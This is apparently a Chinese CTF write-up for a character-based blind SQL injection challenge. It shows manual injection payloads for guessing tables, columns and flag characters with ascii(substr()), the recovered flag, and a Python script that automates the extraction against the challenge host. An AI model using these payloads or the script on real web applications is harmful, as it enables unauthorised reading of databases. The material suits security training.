CTF-Web17(涉及手工,脚本,工具注入)

17.简单的sql注入之3



分析:

手工注入:

首先先作判断:
正常情况下输入?id=1,页面正常输出hello,?id=0页面不输出
输入?id=’页面直接报SQL语法错误
输入?id=1 and 1=2页面正常 ?id=1' and '1'='2 页面无输出
可以看出,这个是字符型SQL注入,未过滤引号和and,条件正确的情况下输出hello,错误无输出,比起SQL盲注,好
像又多了语法报错


猜解表

?id=1' and (select count(*) from 表名)>0 %23
表名不存在时,报错
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
C:\wamp\www\web\index_3.php on line 30
Table 'web10.admin' doesn't exist
可以直接将表名丢Burp里字典猜解
?id=1' and (select count(*) from flag)>0 %23
flag表存在返回hello

猜字段

?id=1'and (select 列名 from flag)>-1 %23
或?id=1'union select 列名 from flag %23
字段列名存在输出helo,不存在则报错,
?id=1'and (select flag from flag)>-1 %23,页面输出hello

猜解字符

?id=1'and ascii(substr((select flag from flag),2,1))=107%23
直接将字符位置,和ASCII码放Burp Suite里面猜解
位置从0到35(实际26位),ASCII码从30到127

将上面的payload2 按照数值排序为:102 108 97 103 123 89 48 117 95 64 114 51 95 53 79 95 100 65 109 110 95 57 48 79 100 125,利用burp自带转码工具转换(先hex,然后ascii)即可得flag{Y0u_@r3_5O_dAmn_90Od}

脚本注入:

#!/usr/bin/env python3
#coding:utf-8

import sys
import re
import urllib.request
import http.client

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

flag = ''
print("Start SQLi")

for i in range(1,27):
    for payload in range(30,127):
        sys.stdout.write('.')
        sys.stdout.flush()
        conn = http.client.HTTPConnection('ctf5.shiyanbar.com',timeout=60)
        s = "/web/index_3.php?id=1'+and+ascii(substr((select+flag+from+flag)%2C{0}%2C1))+%3D{1}%23".format(i,payload)

        conn.request(method='GET',url=s,headers=headers)
        response = conn.getresponse().read().decode('utf-8')
        conn.close()
        
        if response.find(str('Hello')) >0:
            flag += chr(payload)         
            print(i,chr(payload))
            break
print('Done! flag is {0}'.format(flag))

SQLMAP注入:

爆库:

爆表:

爆字段:

爆数据:

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值